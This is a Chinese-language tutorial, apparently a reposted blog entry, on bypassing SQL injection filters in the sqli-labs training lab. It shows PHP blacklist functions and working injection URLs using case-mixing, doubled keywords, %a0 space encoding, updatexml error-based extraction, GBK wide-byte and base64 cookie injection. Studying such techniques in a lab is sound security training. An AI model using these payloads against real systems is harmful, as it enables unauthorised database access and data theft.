SQL注入-绕过过滤规则

安稳与你 提交于 2020-03-23 23:06:25

3 月,跳不动了?>>>

过滤规则产生的原因

前两篇举例了SQL注入Get请求/SQL注入Post请求的案例,都是因为程序要接收用户输入的变量或者URL传递的参数,并且参数或变量会被组成 SQL语句的一部分被执行。这些数据我们统称为外部数据,在安全领域有一条规则:一切外部数据是不可信任的。所以我们需要通过各种方式对数据进行检测和过滤。

扩展:PHP的过滤函数

preg_replace(mixed $pattern , mixed $replacement , mixed $subject)

$pattern: 匹配的正则表达式

$replacement: 用于替换的字符串戒字符串数组

$subject: 要查找替换的目标字符串戒字符串数组

SQL关键字符过滤(and、or、 union、select等)

绕过过滤关键字的方法

#过滤注释/*、--、#,过滤空格,过滤select,union关键字
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);          //strip out /*
$id= preg_replace('/[--]/',"", $id);            //Strip out --.
$id= preg_replace('/[#]/',"", $id);                     //Strip out #.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/select/m',"", $id);     //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/union/s',"", $id);      //Strip out union
$id= preg_replace('/select/s',"", $id);     //Strip out select
$id= preg_replace('/UNION/s',"", $id);      //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);     //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);      //Strip out Union
$id= preg_replace('/Select/s',"", $id);     //Strip out select
return $id;
}

1、大小写绕过

如果过滤器通过关键字进行过滤并没有识别大小写 ,通过使用大小写进行绕过,因为 SQL语句里不区分大小写的。

(1)SQL逻辑关键字绕过

#原始SQL语句
SELECT * FROM users WHERE id='1' LIMIT 0,1;
#SQL注入语句
SELECT * FROM users WHERE id='1' AnD 1=1 -- LIMIT 0,1;

(2)SQLselect、union关键字绕过

http://192.168.1.64/sqli-labs/Less-27/?id=0'%a0union%a0select%a01,database(),3%a0||%a0'1'='1 

http://192.168.1.64/sqli-labs/Less-27/?id=0'%a0UNion%a0SELect%a01,database(),3%a0||%a0'1'='1

扩展:updatexml函数报错

http://192.168.1.64/sqli-labs/Less-27/?id=0'||%a0updatexml(1,concat(1,(SELect%a0database())),1)||%a0'1'='1

2、双写绕过

判断是否有关键字不分大小写过滤

http://192.168.1.64/sqli-labs/Less-25/?id=-1' or  1=1 --+

http://192.168.1.64/sqli-labs/Less-25/?id=-1' Or  1=1 --+
#不分大小写过滤掉and、or两个关键字,大小写绕过行不通,使用双写绕过
function blacklist($id)
{
        $id= preg_replace('/or/i',"", $id);                     //strip out OR (non case sensitive)
        $id= preg_replace('/AND/i',"", $id);            //Strip out AND (non case sensitive)

        return $id;
}

(1)SQL逻辑关键字绕过

http://192.168.1.64/sqli-labs/Less-25/?id=-1' OORr  1=1 --+

(2)SQLselect、union关键字绕过

http://192.168.1.64/sqli-labs/Less-27/?id=0'%a0||updatexml(1,concat(1,(selselectect user())),1)%a0||%a0'1'='1

3、关键字等价绕过

#不分大小写过滤掉and、or两个关键字,大小写绕过行不通,使用关键字等价绕过
function blacklist($id)
{
        $id= preg_replace('/or/i',"", $id);                     //strip out OR (non case sensitive)
        $id= preg_replace('/AND/i',"", $id);            //Strip out AND (non case sensitive)

        return $id;
}

# id=-1'使 SQL 语句报错并使用单引号进行闭合,然后拼接 || 执行 id=5最终--+单行注释SELECT * FROM users WHERE id='-1' || id=5 -- ' LIMIT 0,1 (即SELECT * FROM users WHERE id=5)
http://192.168.1.64/sqli-labs/Less-25/?id=-1' ||  id=5  --+

#SELECT * FROM users WHERE id='2' LIMIT 0,1
id=1 && id=2 都是 where 的一个条件,MySQL 在执行时会先执行 id=1,此时这条语句还没执行完成,因为其中还一个逻辑&&运算,因此再执行 id=2,最后执行完成后则返回结果,最后执行的是id=2,所以仅显示了 id=2 的记录
http://192.168.1.64/sqli-labs/Less-25/?id=1 && id=2

注释过滤(--+)

判断是否有注释过滤

#将#、--替换成空格
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

1、添加一个闭合方式来绕过

http://192.168.1.64/sqli-labs/Less-23/?id=1'  or  '

2、逻辑运算绕过

http://192.168.1.64/sqli-labs/Less-23/?id=-1' or  '1'='1

去除空格过滤

#过滤or、and关键字,过滤\*、--、#注释,过滤空格,过滤\,使用%a0十六进制绕过空格过滤

function blacklist($id)
{
        $id= preg_replace('/or/i',"", $id);                     //strip out OR (non case sensitive)
        $id= preg_replace('/and/i',"", $id);            //Strip out AND (non case sensitive)
        $id= preg_replace('/[\/\*]/',"", $id);          //strip out /*
        $id= preg_replace('/[--]/',"", $id);            //Strip out --
        $id= preg_replace('/[#]/',"", $id);                     //Strip out #
        $id= preg_replace('/[\s]/',"", $id);            //Strip out spaces
        $id= preg_replace('/[\/\\\\]/',"", $id);                //Strip out slashes
        return $id;
}

1、ascii码转url编码

判断是否有空格过滤

#'unionselect1,2,database()||'1'='1' LIMIT 0,1' 空格全给过滤成“”
http://192.168.1.64/sqli-labs/Less-26/?id=-1' union select 1,2,database() || '1'='1

#http://192.168.1.64/sqli-labs/Less-26/?id=0'%a0union%a0select%a01,database(),3%a0||%a0'1'='1
http://192.168.1.64/sqli-labs/Less-26/?id=0'%a0union%a0select%a01,database(),3%a0%26%26%a0%271%27=%271

单引号过滤

Mysql在使用GBK编码时,会认为两个字符为一个汉字。宽字节注入就是发生在PHP向 Mysql请求时字符集使用了GBK编码。例如addslashes()函数转义。

#addslashes() 函数在指定的预定义字符前添加反斜杠,用于过滤单引号
function check_addslashes($string)
{
    $string= addslashes($string);
    return $string;
}

http://192.168.1.64/sqli-labs/Less-33/?id=\

#id 的参数传入代码层,就会在’前加一个\,由于采用的 URL 编码,所以产生的效果 是%df%5c%27, GBK 编码中,两个字符表示一个数字,所以%df 把%5c 吃掉形成 了一个汉字,后面就剩一个单引号,所以此时的单引号并没有被转义可以发挥效果。 宽字符注入的必要条件,第一个字符的 ASCII 码必须大于 128(使用ASCII扩展表)在https://blog.csdn.net/ttmice/article/details/50978054中查询

http://192.168.1.64/sqli-labs/Less-33/?id=-1%82' union select 1,user(),database()--+

base64解码过滤

PHP代码使用 base64_decode()函数进行解码过滤,如果不符合base64编码的将会被过滤掉

 $cookee = base64_decode($cookee);

可以看到Cookie 是经过 base64加密的我们使用 burpsuite进行base64加密注入

使用burpsuite对\进行base64加密XA==

通过进行base64加密注入得到闭合方式双引号“

使用updatexml()函数进行报错注入

使用burpsuite进行base64编码注入获取当前数据库名

绕过过滤规则总结:

1、常用的过滤规则

(1)过滤关键字(or,and,union,select)

(2)过滤特殊字符()

(3)过滤空格

(4)过滤注释(/*,#,--)

(5)过滤单引号(addslashes())

(6)过滤明码数据(base64加密和解密)

2、对应的绕过技术进行SQL注入

(1)过滤关键字使用大小写绕过,双写绕过,等价绕过,URL编码绕过

(2)过滤特殊字符使用URL编码绕过

(3)过滤空格使用URL编码绕过

(4)过滤注释使用添加一个闭合方式绕过,逻辑运算绕过

(5)过滤单引使用宽字符绕过(前提PHP使用GBK编码)

(6)过滤明码数据使用burpsuite加密发送数据绕过

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!